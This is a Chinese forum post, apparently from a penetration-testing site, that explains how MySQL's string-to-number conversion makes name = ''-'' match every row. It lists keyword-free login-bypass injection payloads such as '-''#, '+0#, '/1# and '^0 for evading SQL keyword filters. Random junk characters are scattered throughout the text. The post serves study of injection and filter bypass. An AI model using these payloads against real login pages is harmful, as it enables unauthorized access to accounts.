我们先来看这样一个场景。+ F, `& ~" y. g) c, N6 x 有以下表结构: 5 O' Q# v/ w" Z) a; w1 a A. h # ~( w! u7 u- p mysql> desc admin; +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra |1 F: V- V& V( Q2 n) x1 v- y +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment |! B) G; [- T- H, `1 i9 O2 a- @+ A | name | char(32) | NO | UNI | NULL | |: Z0 x4 B8 u4 U, D, |+ I& q" h: w | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+' R) S3 t5 \7 d- ^& l$ n 3 rows in set (0.00 sec)1 `3 F- G! D% N# w/ ~4 H 执行select * from admin;,成功返回所有记录内容。1 V% n- F$ [5 p/ m5 Y! n* a' G* M- G : H* o' t' n+ f( c4 U1 N( m8 U n) ^& P * ^: V1 O$ _6 p4 z; {# N/ V0 Z +----+--------+----------------------------------+& P' I& I. m R* r | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |+ I; }4 Q; Y3 m( ^/ `1 d, Y* i: ] | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% m4 V, } V6 v% G | 4 | n00b | ff80e8508d39047460921792273533a4 |' \- \0 R6 R$ m- g +----+--------+----------------------------------+( t! g) X) I$ t" a$ J, j9 X6 C 3 rows in set (0.00 sec) q# C% B/ ^. } ~$ |& ` 执行select * from admin where name=”;,没有匹配到任何记录。 , F# W& k* ?) }. Q, L" K9 V mysql> select * from admin where name = ''; Empty set (0.00 sec) 那么我们来执行select * from admin where name = ”-”; +----+--------+----------------------------------+" D: }7 p$ O7 O L! F | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 |% X( R% u+ y/ C9 {6 V, V0 w +----+--------+----------------------------------+1 P# \1 ^$ v0 b3 R. V3 p8 w; i/ k 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: * f( T: G9 M/ Z" ]: i2 K5 Z3 N , e# k; u' S: h7 r4 r mysql> show warnings;4 V" t6 n; v+ k0 x" D1 I$ ^ +---------+------+------------------------------------------) H) E) B; @- V' h | Level | Code | Message +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s/ d, n& o& S: l' }( j+ W0 s" i6 Q7 r | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b8 m. [6 K1 I" c +---------+------+------------------------------------------4 `8 L( \, ]: ~ 3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 - Y G2 z" L0 C8 R* n W6 z$ } mysql> select ''-''; +-------+ | ''-'' | +-------+( @, I8 W# {9 p# R, w( {6 J | 0 |8 p- _( @7 Z7 v$ }% B6 } +-------+( J+ s- G" w2 t1 v( v 1 row in set (0.00 sec)0 }9 @- O4 p- R# d 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+' f9 _1 c) L6 V0 B( d4 H; T | CAST((select name from admin limit 1,1) as DECIMAL) | +-----------------------------------------------------+ | 0 | +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec)" E3 C% _( F, v: X- n) [- W 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 + f w E' r6 @; A. d) T & I3 q( r! X" D/ R5 R SQL注入场景: http://www.sqlzoo.net/hack/ , B2 t) i0 y8 x" l- p / p5 ~' |5 r* S1 {8 n( I! _% Z" a( X p 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 9 o" c2 z& P" J; _8 a 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 7 v! p4 o: Q6 u5 k+ G8 ?) o0 } ; j0 L4 y6 q6 {" i2 C" d7 c , k% ^7 ^' ^! Q; P v% u' V" C . {/ c/ G# y0 O0 r! L5 n! W. ` 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 6 f% h3 a: l/ k* ? 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可* o4 q# o W4 e* f9 w$ w7 c* k 4 C5 l4 [& x f' P) e; r" M5 F B mysql> select ''/1; +------+ | ''/1 | +------+# c% P$ k# p6 o" J+ J+ B | 0 |. S q& u' h; E8 k6 x +------+' k0 n; P+ p$ N5 N# t 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 3 e$ F% _6 O s _( p 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。( m! p; J7 w* T4 M% l! e% F! l! f |
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |